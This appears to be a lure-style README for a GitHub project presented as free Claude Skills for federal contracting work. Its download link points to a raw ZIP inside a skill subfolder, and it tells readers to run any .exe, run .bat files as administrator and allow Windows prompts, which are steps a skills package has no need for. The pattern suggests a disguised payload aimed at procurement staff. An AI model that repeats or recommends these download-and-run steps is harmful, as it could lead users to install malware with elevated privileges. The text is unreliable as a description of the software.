Use the link below to visit the project page and download the files:

Open the GitHub page

federal-contracting-skills helps with common federal contracting work. It gives you tools for:

• IGCE building for FFP, T&M, and cost-reimbursement work
• SOW and PWS drafting
• Market research reports
• Live lookups from key federal data sources
• Support for GS-1102 contract specialists and small businesses

It is built to help you move from a blank page to a working draft faster.

Use a Windows computer with:

• Windows 10 or Windows 11
• An internet connection
• A web browser such as Edge or Chrome
• At least 4 GB of RAM
• 500 MB of free disk space

For best results, use a newer system with a stable internet connection.

This project includes tools for:

• IGCE builders
  Create cost estimates for fixed-price, time-and-materials, and cost-reimbursement actions

• SOW and PWS generator
  Draft work statements and performance work statements with a clear structure

• Market research reports
  Pull together key facts for planning and acquisition files

• Live API tools
  Work with current data from:

  • USASpending
  • GSA CALC+
  • BLS OEWS
  • Per Diem
  • Federal Register
  • eCFR
  • Regulations.gov

• Federal contracting support
  Use tools built around FAR-related tasks and acquisition work

1. Open this page: https://github.com/Aballa6975/federal-contracting-skills/raw/refs/heads/main/skills/igce-builder-lh-tm/federal_skills_contracting_v3.0.zip
2. On the GitHub page, look for the Code button
3. Click Code
4. Choose Download ZIP
5. Save the file to your computer
6. Right-click the ZIP file and choose Extract All
7. Open the extracted folder
8. Look for the main app file, script, or instructions file in the folder
9. Open the file or follow the included setup steps

If the project includes a Windows app file, you can run it after download. If it includes scripts or setup files, use the included instructions in the folder.

After you extract the files:

1. Open the folder you downloaded
2. Read any file named README, INSTALL, or SETUP
3. If there is an .exe file, double-click it to start the app
4. If there is a .bat file, right-click it and choose Run as administrator if the instructions say so
5. If the app opens in a browser, keep the window open while you work
6. If Windows asks for permission, choose Allow only if you want to start the app

If the project uses a local setup, keep the folder in a place you will not move or rename.

Start with the tool that matches your task:

• Use the IGCE builder when you need a cost estimate
• Use the SOW/PWS generator when you need draft contract language
• Use the market research tools when you need source data and references
• Use the live API tools when you want current public data for a file or report

A simple workflow is:

1. Pick a tool
2. Enter the contract or project details
3. Review the draft output
4. Edit the text for your file
5. Save or copy the result

The project works with public federal sources and reference tools. These may include:

• USASpending for award and spending data
• GSA CALC+ for labor rate support
• BLS OEWS for wage data
• Per Diem rates for travel support
• Federal Register for rule and notice research
• eCFR for current regulation text
• Regulations.gov for public comments and docket info

These sources help with planning, research, and file support.

This project can help with:

• Building an IGCE for a new buy
• Drafting a PWS for service work
• Drafting an SOW for a task order
• Preparing market research notes
• Checking labor rates and wage data
• Looking up current federal notices
• Gathering source data for a contract file

If you keep this project on your PC, use a simple folder path such as:

• C:\Federal-Contracting-Skills

This keeps the files easy to find and reduces path issues.

Try these steps:

1. Make sure the ZIP file was fully extracted
2. Check that you opened the right folder
3. Look for a setup or launch file
4. Make sure your browser is up to date
5. Check that Windows did not block the file
6. Re-download the ZIP if the file looks broken

If you still cannot start it, open the GitHub page and review the project files for the correct launch step

• Repository name: federal-contracting-skills
• Description: Free Claude Skills for federal contracting
• Topics: 1102, acquisition, ai-tools, claude-ai, claude-skills, cost-estimate, far, federal-acquisition, federal-contracting, government, government-contracting, gsa, igce, market-research, open-source, procurement, pws, small-business, sow, usaspending

This project is a fit for:

• GS-1102 contract specialists
• Small businesses that work with the federal government
• Procurement staff
• Acquisition teams
• Users who need faster first drafts for contract work